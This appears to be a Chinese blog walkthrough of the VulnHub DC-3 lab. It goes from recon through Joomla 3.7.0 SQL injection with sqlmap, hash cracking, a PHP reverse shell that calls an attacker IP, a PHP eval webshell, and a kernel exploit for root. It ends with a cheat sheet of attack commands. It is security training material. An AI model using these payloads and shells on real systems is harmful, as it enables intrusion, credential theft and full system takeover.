3.vulnhub渗透测试综合靶场DC-3
信息收集
nmap扫描:nmap -sP 192.168.200.0/24
扫描到了192.168.200.147地址

arp-scan -l扫描

通过浏览器Wappalyzer插件,可以看到,本站内容管理系统(CMS)Joomla,编程语言为PHP,Ubantu操作系统,,Web服务器Apache HTTPServer2.4.18

扫描DC-3靶机开启的服务
nmap -A -v 192.168.200.147
通过扫描可以发现DC-3开启了80端口 并且使用了Joomla! cms

扫描目录
使用御剑工具扫描
http://192.168.200.147/tmp/
http://192.168.200.147/administrator/
http://192.168.200.147/images/
http://192.168.200.147/includes;
http://192.168.200.147/images

使用dirb扫描到了后台地址


渗透测试
我们已知本web框架为joomla
在kali机器上安装joomscan工具
apt install joomscan
开启扫描后发现版本号为Joomla 3.7.0
└─# joomscan -u http://192.168.200.147

查看版本漏洞
└─# searchsploit Joomla 3.7.0

└─# find / -name 42033.txt
└─# cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

方法一:使用sql注入进行攻击
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查询库名
sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
这里我们发现5个数据库

进一步查询表名
sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
看到有users表

查询列名
sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

查询字段信息
sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "name,password,username" --dump -p list[fullordering]

看到密码用到了md5加密
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
使用kali内的john进行解密操作
创建123.txt文件,将秘钥放进去,进行解密操作,看到密码为snoopy

配置vim右键不能粘贴文本
编辑 ~/.vimrc 文件,加入如下代码:
if has('mouse')
set mouse-=a
endif
成功登录后台

获取shell权限

在index.php文件添加代码进行反弹shell
$sock = fsockopen("192.168.200.145", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

浏览器访问

成功反弹shell

使用python交互式页面
python -c "import pty;pty.spawn('/bin/bash')"
切换root用户,发现权限不足,接下来开始做提权操作

方法二:攻击机下载 joomblah.py 脚本获取秘钥
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
└─# python2 joomblah.py http://192.168.200.147
发现秘钥:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

利用john工具破解md5秘钥

登录系统后,随便找个文件,写入一句话木马
<?php @eval ($_POST[cmd]);?>

使用蚁剑成功连接

使用原本的SUID提权失败,考虑系统漏洞提权
查看系统版本
cat /etc/*release
为Ubuntu 16.04 LTS

查看linux内核版本
cat /proc/version
为Linux version 4.4.0-21

查看kali本地漏洞库里面的exp
└─# searchsploit Ubuntu 16.04

下载Exploit-DB Mirror:

开启apache
└─# systemctl start apache2.service
将39772.zip上传到kali机器/var/www/html目录下
在靶机下载
www-data@DC-3:/var/www/html$ wget http://192.168.200.145/39772.zip
解压exp

重命名doubleput.c为doubleput
执行命令
./compile.sh
./doubleput
成功拿到root权限

本次渗透测试学习收获
kali安装docker
配置apt源,随便选一个
vim /etc/apt/sources.list
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
进行系统或工具的更新
apt-get update && apt-get upgrade && apt-get dist-upgrade
清除更新缓存
apt-get clean
采用apt安装Docker
apt-get install docker.io
#启动docker服务
service docker start
#列出docker现有镜像
docker images
配置阿里云镜像加速(官方教程)
nmap,arp-scan主机扫描
arp-scan -l
cms漏洞扫描工具
git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &
使用docker部署
git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
docker build -t onlinetools .
docker run -d -p 8000:8000 onlinetools
sql注入漏洞sqlmap配合payload
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

敏感目录爆破
御剑、dirb目录扫描工具
基本的扫描:dirb http://xxx.xxx.xxx
列举具有特定扩展名列表的目录:dirb http://xxx.xxx.xxx -X .php
将输出保存到磁盘:dirb http://xxx.xxx.xxx -o output.txt
忽略不必要的状态码:dirb http://xxx.xxx.xxx -N 302
php反弹shell的编写
<?php @eval ($_POST[cmd]);?>
系统漏洞提权
SUID提权行不通的话,换做系统提权
查看系统版本
cat /etc/*release
查看linux内核版本
cat /proc/version
查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04
hash密文利用kali内的john工具解密
vi password.txt #编辑将密钥写进去
john password.txt #破解
john --show password.txt #查看以前破解过的结果
joomscan
在kali机器上安装joomscan工具
apt install joomscan
开启扫描
joomscan -u http://xxx.xxx.xxx

浙公网安备 33010602011771号